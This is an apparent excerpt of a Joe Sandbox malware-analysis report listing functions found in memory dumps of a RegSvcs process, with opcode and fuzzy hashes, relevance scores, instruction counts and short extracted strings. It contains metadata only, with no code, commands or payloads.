Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 227d5409c1fe8dae57a16e16999a09eca888b6fd97a89079cf6880c66253bf71
Instruction ID: c0cc113fcdd677b3285a2acbf890b6c724ce04d358b93de5732cbdd271249886
Opcode Fuzzy Hash: 227d5409c1fe8dae57a16e16999a09eca888b6fd97a89079cf6880c66253bf71
Instruction Fuzzy Hash: A151DD79610240CFC31DEB28D948B1777B2BBC9714B65959AE801DB798EB31ED06CB81

Function 05606548 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cee7e2a6d3c6977a0ee5f0720fc669742b679aa3d6c89bb89ebacb8b702b5c86
Instruction ID: 769fdcc4edcd143a01403ea06dfa3faa8dc7b9bf8076e2565b8b44e0fbecc659
Opcode Fuzzy Hash: cee7e2a6d3c6977a0ee5f0720fc669742b679aa3d6c89bb89ebacb8b702b5c86
Instruction Fuzzy Hash: 64513B71A10225DFCB18CF68C588A6ABBF1FF44314B168499E819AB3A1C730ED91CB91

Function 056046C0 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1164255151abdbca12670444b1640543a7d25f9cb700ad11f77918aab09d2890
Instruction ID: 3eaa7a42a61777e6d12b81da87cf6e4db7b03f4ae069605b2f99947bbf607874
Opcode Fuzzy Hash: 1164255151abdbca12670444b1640543a7d25f9cb700ad11f77918aab09d2890
Instruction Fuzzy Hash: 614159756441559FCB29CF29D848A7A7BB2FF49312F1104A5EA02CB3A1CB31DC90CB91

Function 05605678 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37ab96dad5edc63ed1d405ff12ad4d5d5dad68b2ec916230bb6d483c5ac3195b
Instruction ID: 5a7e1ff3ee9e9104d205ccfd3a06c814f22e5c79c723d2e8d9439722c2089cb1
Opcode Fuzzy Hash: 37ab96dad5edc63ed1d405ff12ad4d5d5dad68b2ec916230bb6d483c5ac3195b
Instruction Fuzzy Hash: 3E31AC34318205CFDB2DCB25A894A3F7BAAFB94650B146956D053CB3E1DA24CC80EF82

Function 05601B50 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7a3c8c8920d2c45b5bc1560a09b2ad84c3e73f11da48b261f2f187a3fc4c219
Instruction ID: 4b4404966a313c6eb87fd69f9842df16af2c674a5d2408bce3280320078f35c9
Opcode Fuzzy Hash: d7a3c8c8920d2c45b5bc1560a09b2ad84c3e73f11da48b261f2f187a3fc4c219
Instruction Fuzzy Hash: C031B03560418AAFCB09AF64D858BBF7BA7FB89310F004019F91687384CB79CD61DB90

Function 05604AEF Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed6130f9b29963f92d074495b109fb9f6325cda5e4ec8873939c4b3d494acdcf
Instruction ID: 6400ed41c8b01a8448d2a50ef0ec09180158841e9f344f7238e0ec82e1d9e66a
Opcode Fuzzy Hash: ed6130f9b29963f92d074495b109fb9f6325cda5e4ec8873939c4b3d494acdcf
Instruction Fuzzy Hash: 5C21E5303442514BDF3C66268498B3B369BBFC461AF149438DA06CB7D4DF66CC42D780

Function 05600B08 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd4c5fee456c8df661dec9685da9e991e8da0e4e8c6c0e11e8c6bb5674c5f54d
Instruction ID: 9047a62846cc3dd87317ee124b75b8d1125e95e89721b8518422cb9c29450566
Opcode Fuzzy Hash: cd4c5fee456c8df661dec9685da9e991e8da0e4e8c6c0e11e8c6bb5674c5f54d
Instruction Fuzzy Hash: 8121E53171021D9BD798AA39580933F6597F7C8330F94556AE90ADB390EA31DD42C7D2

Function 05605D90 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea89add8c38996389767ed4124857a25a328cfdbc9f50547f4447a475ac872f8
Instruction ID: 9f88fe863ecac1633d41915668d6bbf1e2af216f0a8b72b7ffe6ee4e1154b3a3
Opcode Fuzzy Hash: ea89add8c38996389767ed4124857a25a328cfdbc9f50547f4447a475ac872f8
Instruction Fuzzy Hash: F0319570E041058FCB18CF6CC884AAFBBB6FF99310B158659E856AB3A1CB349D51CF90

Function 05609472 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2df28653afb1720b629f34a50d27d60c8697a61481f74cd38695ae31ef139d35
Instruction ID: 76568ae3dacddf1901d50cf557e93b5c0a5902a3e016b684dd9fc6ceab5bb735
Opcode Fuzzy Hash: 2df28653afb1720b629f34a50d27d60c8697a61481f74cd38695ae31ef139d35
Instruction Fuzzy Hash: D521E735B101048FCB48DB79D9949AEBBB7EBCC310B14906AE506EB3A1CA31DC05CB91

Function 05601AE8 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80f1d86746329df862457b16e19f2b434c31b43e9b1a115b06bb2933e9fcf6fa
Instruction ID: 7569bd8a5b46f22282e8ad80c41451ba6f741213bb233c7f74168a864e6c97b6
Opcode Fuzzy Hash: 80f1d86746329df862457b16e19f2b434c31b43e9b1a115b06bb2933e9fcf6fa
Instruction Fuzzy Hash: CC31F5316086C58FD70A9F68DC9876A7FB1FF56344F08449AE4458B392EBB8C916CB90

Function 05609480 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb126e4383d58c9fa1c0c1be0a15999343364b66ef19b693079d797e5b99349a
Instruction ID: 2c466fe6951e5b8959aca7b11d5c7e6ff5c069235f54e2e58a83b98de0ac155e
Opcode Fuzzy Hash: fb126e4383d58c9fa1c0c1be0a15999343364b66ef19b693079d797e5b99349a
Instruction Fuzzy Hash: 3F21A135B101048FCB48DB69D4949AEBBFBABCD710F15906AE506EB3A1DA31EC05CB91

Function 05602B8A Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04b3fc7fbb8de9e8cc87f571351fdae33e6b76a70cd7b787c8624ccb793e9e13
Instruction ID: f2b41ff072b045255cc0693db5f43c519be8c93dbe24aea82595759e05f899be
Opcode Fuzzy Hash: 04b3fc7fbb8de9e8cc87f571351fdae33e6b76a70cd7b787c8624ccb793e9e13
Instruction Fuzzy Hash: 6421AE387002019FD748EBB5E998B2B77AAFBC4910B104969D905C7294EF35DC00CBA0

Function 05601B40 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78cfb74578d4cf7581adaddb81d9a82fd1fa351058ed77b3258700092f596e6a
Instruction ID: cac80a9888728e5a1972f0523348266af92892a368f219aafd767ca001f5155c
Opcode Fuzzy Hash: 78cfb74578d4cf7581adaddb81d9a82fd1fa351058ed77b3258700092f596e6a
Instruction Fuzzy Hash: 2C21FD3565418A9FCB08AF68D84CB6B7BA6FB85714F00446AE9068B384CB78CC65CBD0

Function 05601500 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e908dcb11fb1467daef873592df25489cbd0c059a3362666be8c8455554f977e
Instruction ID: 01acd43f0413153dc0dc06aeea61aac07401ae84958d12057ed692b98a00b61d
Opcode Fuzzy Hash: e908dcb11fb1467daef873592df25489cbd0c059a3362666be8c8455554f977e
Instruction Fuzzy Hash: 3821C475A012098FDB04CF94C9809DEFBF6FF89310F1486A9D906AB344EB70AD85CB90

Function 056095C8 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35b7d33808865db386253d07c61c998b741295ffd67252b5e4ae7869b4a0dc91
Instruction ID: 116c3dd0b0e6f5435bfcd3b8be791f0f615b7dd9b23df6ece312e97070b6c203
Opcode Fuzzy Hash: 35b7d33808865db386253d07c61c998b741295ffd67252b5e4ae7869b4a0dc91
Instruction Fuzzy Hash: EF118F30B142049BEB1C9A7AD814A7B76ABBBC4710F049529E816C7781EB30CD91C7D0

Function 05602388 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97657f1509cdb152faa76a46ab90a84ec86044d1c582d8e2b328fc881901182d
Instruction ID: beba4c6b1f10b1cfdcedaff18fbe5b808522d16d4b11c73ad07ad7e0f63531c5
Opcode Fuzzy Hash: 97657f1509cdb152faa76a46ab90a84ec86044d1c582d8e2b328fc881901182d
Instruction Fuzzy Hash: 6E012832B001556BCB09DE69D818BAF3BDBEFC8B40F148069F905D7280DA71C811DB90

Function 05600C58 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f28621c0a5a36111d6207fb23077489d2c936abcf2b8d97c8172b61fc954a2ae
Instruction ID: 5eb8277da51e342d490137f22553b8f3fdfd6ef6c62a3a6bf30e73aa757fab63
Opcode Fuzzy Hash: f28621c0a5a36111d6207fb23077489d2c936abcf2b8d97c8172b61fc954a2ae
Instruction Fuzzy Hash: 8B1112B58003498FCB20DF9AC588BDEBBF4FB48724F208419D519A3740C379A944CFA1

Function 05600C60 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c03f956177e86c3b8cca1feac51c84c20f4dd033d11cdf0584315d3f4ca811ab
Instruction ID: c96def3d5f4833bc14b18789cd7f87045ed74410caa1f76714793a7ae8ac82c1
Opcode Fuzzy Hash: c03f956177e86c3b8cca1feac51c84c20f4dd033d11cdf0584315d3f4ca811ab
Instruction Fuzzy Hash: 9E11F3B58003498FDB20DF9AC484BDEBBF4FB48724F208419D519A7750C779A944CFA5

Function 05609592 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c39fe158149a2325c3cf1b0cd3c4fe4532a1eb863f0f83840a2574d0cfc6103d
Instruction ID: 133dcb997f91b7c044695b752be6c6971813946585b85a15df9bab1c00fe188d
Opcode Fuzzy Hash: c39fe158149a2325c3cf1b0cd3c4fe4532a1eb863f0f83840a2574d0cfc6103d
Instruction Fuzzy Hash: DBF0EC75719205AFE70D5271AC109F76A27BBE1341F145022E501C73A3D721CD96C360

Function 056010FC Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c61ee80dfb0efce9b6789bd0efd8955857843509d1226862112b050d9410c533
Instruction ID: 7d67a5a7fbe33946ab23b8d0f6d6f511eafcd281bebe801076b6de8ce47e6fa1
Opcode Fuzzy Hash: c61ee80dfb0efce9b6789bd0efd8955857843509d1226862112b050d9410c533
Instruction Fuzzy Hash: D3F031743402409FD368EF24D998F1677B6FBC9724F628294E5259F7E4CB70AC018751

Function 056064C8 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e342bd9973fc2d41f301fa566336c237bc0987072f774878577236e8e127a883
Instruction ID: 5de503ac055bdc2159077d44de18a081b74cc17b4a900e1d6bcee55d34e95f7e
Opcode Fuzzy Hash: e342bd9973fc2d41f301fa566336c237bc0987072f774878577236e8e127a883
Instruction Fuzzy Hash: 2FE0E531B5011897C74C1678A8002AA75DAA3C5631F008B27D41EC3698DE608D51C344

Function 056064D8 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ebe10d33c66f55eaae5fdca2d9a25a997eefc6a6c84b857c672e8d72de646be
Instruction ID: 394ed67fbc6ce60b74fc8bb7ac7d8290600916bf022dafc203d9c85d5ece6e7d
Opcode Fuzzy Hash: 4ebe10d33c66f55eaae5fdca2d9a25a997eefc6a6c84b857c672e8d72de646be
Instruction Fuzzy Hash: 07E08C22B5112993D78C557DA80456BB9CFA3CA671B50D937E90EC7B8CDE60CC2183D9

Function 05600900 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7488d64581e3abc06c2b70a7d2f17ce19fd96cf611ea0234958127a2bac8411c
Instruction ID: 3bb550cc902cb7dd94b7383a7e1cd68ab3411ea3dd3fa8539a26ce48fc3bcbb9
Opcode Fuzzy Hash: 7488d64581e3abc06c2b70a7d2f17ce19fd96cf611ea0234958127a2bac8411c
Instruction Fuzzy Hash: F5E0263222006C97E648D968A905B53325FE384735F40A826E11AC7304CA7089618392

Function 05607D06 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7c6265f1e7c1461dee21e0dec17f58642e8bf85e7b1faf81245ba816cc430bd
Instruction ID: a2342f30dc2cc3ab34ca2c25ffdc3c0d3752e8e9f3eee37f0f1e096b2f9bb589
Opcode Fuzzy Hash: f7c6265f1e7c1461dee21e0dec17f58642e8bf85e7b1faf81245ba816cc430bd
Instruction Fuzzy Hash: 5FE0D8357045014B876CAB24646903673B7EBC820034184778806D77C8CF30AE838B83

Function 05600910 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36eea6b0e6e747dfe61c5d3b0d35d382343a3906a993742d7d29d089a8ac6e05
Instruction ID: 1b9f4c29c665534e2d3c8a8ff6682f56ccbd4a6ddba80956e3468e5416da7930
Opcode Fuzzy Hash: 36eea6b0e6e747dfe61c5d3b0d35d382343a3906a993742d7d29d089a8ac6e05
Instruction Fuzzy Hash: 85D02B3235006D57E648546D590A667750F97C5771B80B477E51ACB344C9508D2182D6

Function 05607D6C Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e20daff0d37c760f730d14fa8fc443baec6af758592cd08794c0dc57f65ea26
Instruction ID: a67fa544be99390a8e2c2c8ac5f2e9d4a8d9eee4f27afad02f25709c7905a059
Opcode Fuzzy Hash: 8e20daff0d37c760f730d14fa8fc443baec6af758592cd08794c0dc57f65ea26
Instruction Fuzzy Hash: 62E086347040004B876CE724956802A7277ABC820034280368812C7B8CDF309D828B83

Function 056011A0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27bf624603a04d6c26aa151f63642c2191d49c37d95fde85c430d5b14dc3d72c
Instruction ID: dee442b054112147f27ab77c853ac3c5e4f0d7c7a8e5d2b7f28344ab1fc2d641
Opcode Fuzzy Hash: 27bf624603a04d6c26aa151f63642c2191d49c37d95fde85c430d5b14dc3d72c
Instruction Fuzzy Hash: 5BE08CB1B002069B9709DF7981A126FB5AB7BC8400340C579C92AEB380EF74D924EBC2

Function 05605C95 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ff331b86e86604f083fe007e36a6ac971116db4d426a35934e470918da01ece
Instruction ID: da08e76be2dcc10c831864a3ae4a7eedd04fa3e6606ebf5f0136232b24525720
Opcode Fuzzy Hash: 1ff331b86e86604f083fe007e36a6ac971116db4d426a35934e470918da01ece
Instruction Fuzzy Hash: 46D0673AF40008AFCB049F99E8449DDF776FB98221B04C556F916A3260C6319965DB60

Function 05601394 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7616d7d01aa4861cfab7018d2aaaf67ec079f91db6d84d9de7d3b7c343535ec
Instruction ID: b596e3f57ddf4bd7dfd41f2b8c98ab6379c97572fd8750aca601359c99dea4d7
Opcode Fuzzy Hash: a7616d7d01aa4861cfab7018d2aaaf67ec079f91db6d84d9de7d3b7c343535ec
Instruction Fuzzy Hash: 23D01774A101009FC75CEB30E51C919BBB5AB89610351946A9812CBBA4DB309E40CB01

Function 05602B98 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b36a0fe8f300a26059c6bc0587521841272d6a537c8299a96223e9783ef3d9c0
Instruction ID: 079474be32ef06e2d5517bd8b85798beca85feca6999bd672977790f897a710b
Opcode Fuzzy Hash: b36a0fe8f300a26059c6bc0587521841272d6a537c8299a96223e9783ef3d9c0
Instruction Fuzzy Hash: 88C012384103498BD645F765FD5C715377EB6C0905740D61194094A10DDF749C594F91

Non-executed Functions

Function 02BF4BE0 Relevance: 2.8, Strings: 2, Instructions: 255COMMON

Download Yara Rule

Strings

fei, xrefs: 02BF4CF5
8:|q, xrefs: 02BF4E62

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID: 8:|q$fei
API String ID: 0-456817884
Opcode ID: cdd8b4623a57fb488cf0654d2e128ee5a2fa6d58430588f62afb7163938fce6d
Instruction ID: f014b78b76b100b6a8a7147b5456a69acdcfed5c1c702f78441d6dd722dedceb
Opcode Fuzzy Hash: cdd8b4623a57fb488cf0654d2e128ee5a2fa6d58430588f62afb7163938fce6d
Instruction Fuzzy Hash: 94A1BD30A142548FCB94CB29C880A7FFBF2AFC9304B19D9AAE25AD7654C734EC45CB50

Function 056083BF Relevance: 2.7, Strings: 2, Instructions: 238COMMON

Download Yara Rule

Strings

^nQ, xrefs: 056083E3
ykk., xrefs: 056086E0

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID: ^nQ$ykk.
API String ID: 0-2113457234
Opcode ID: 6bfe94805ad8eab39a8e8091156d0df1a69c7bb26350d96153db00a38c10d638
Instruction ID: 6545401b49a02a2b75342dc5861288aca202884aa862893cbf9b163977b5b8cf
Opcode Fuzzy Hash: 6bfe94805ad8eab39a8e8091156d0df1a69c7bb26350d96153db00a38c10d638
Instruction Fuzzy Hash: BEA17034B01115CFE7ACEB64C964BAAB777BB89301F1080AAD50AAB785DB319D81CF51

Function 02BF42E8 Relevance: 1.6, Strings: 1, Instructions: 387COMMON

Download Yara Rule

Strings

9(#, xrefs: 02BF46E5

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID: 9(#
API String ID: 0-2779937032
Opcode ID: 445609ae2cb9c0509b2184decb3417429e643984e441e984c51efb7bac974e08
Instruction ID: 23c06406e6c24ae94d4b59d0a11f2325de48097abff39370ddca4e941c2ef1e0
Opcode Fuzzy Hash: 445609ae2cb9c0509b2184decb3417429e643984e441e984c51efb7bac974e08
Instruction Fuzzy Hash: B4E1E130B042548FCB49CB69D59066FFBF2EFCA210B1585AAD656EB355C730EC49CB50

Function 05608A63 Relevance: 1.6, Strings: 1, Instructions: 333COMMON

Download Yara Rule

Strings

$>f, xrefs: 05608EF1

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID: $>f
API String ID: 0-2253003967
Opcode ID: c8847672d8647c63dff23bca15f19f7d752852387186714050706a18fc895e88
Instruction ID: 38f6c6f89eed5721471d5e57853260fb83e62b8f1c59ff469866a5023113ac6b
Opcode Fuzzy Hash: c8847672d8647c63dff23bca15f19f7d752852387186714050706a18fc895e88
Instruction Fuzzy Hash: A6E16030A10215CFDB58DF64D894BAAB7B6BF89300F1095AAD50AAB391DB319E85CF41

Function 02BF4BD1 Relevance: 1.5, Strings: 1, Instructions: 252COMMON

Download Yara Rule

Strings

8:|q, xrefs: 02BF4E62

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID: 8:|q
API String ID: 0-2578389060
Opcode ID: 8a034ec44066952d3154ed809a70d19eb36b525272eb0eccbaf0636ef3596a2b
Instruction ID: cb6fec89475f3d5e37fe3113a569abbe11c3effe8f518ccc629d63d9e115af9c
Opcode Fuzzy Hash: 8a034ec44066952d3154ed809a70d19eb36b525272eb0eccbaf0636ef3596a2b
Instruction Fuzzy Hash: 24A1D130A142548FC795CB29C480A7FFBF2AFC9304B15D9AAE25AE7655C734EC85CB50

Function 02BFBBC0 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

\VNn, xrefs: 02BFBE0B

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID: \VNn
API String ID: 0-207492048
Opcode ID: d9a0c8206b56abe283e54a5e482e7ae0e5bcc5978c1db0274b5591e0d102b9b5
Instruction ID: f69f3f901a64b9aa0d590a02301a841435d630b76dc6432c6604b312ba943de4
Opcode Fuzzy Hash: d9a0c8206b56abe283e54a5e482e7ae0e5bcc5978c1db0274b5591e0d102b9b5
Instruction Fuzzy Hash: 0B916B71E00209CFDB64DFA9C8847DEBBF2EF88708F148569E514A7294EB349849CB91

Function 05608467 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

ykk., xrefs: 056086E0

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID: ykk.
API String ID: 0-690924392
Opcode ID: 3f665a6e87f5dd101fb751aa2e32f1de3266a271de5a6a114dd0ced03b539fb5
Instruction ID: 2030fb4d78156a4f905723d33d59bd73e8fffbc91ee488abf26f49cc751af586
Opcode Fuzzy Hash: 3f665a6e87f5dd101fb751aa2e32f1de3266a271de5a6a114dd0ced03b539fb5
Instruction Fuzzy Hash: D9A16E34B01215CBEBACEB64D864BAAB777BB88301F1080E9D50AAB785DF319D41CF51

Function 05608E50 Relevance: 1.5, Strings: 1, Instructions: 225COMMON

Download Yara Rule

Strings

$>f, xrefs: 05608EF1

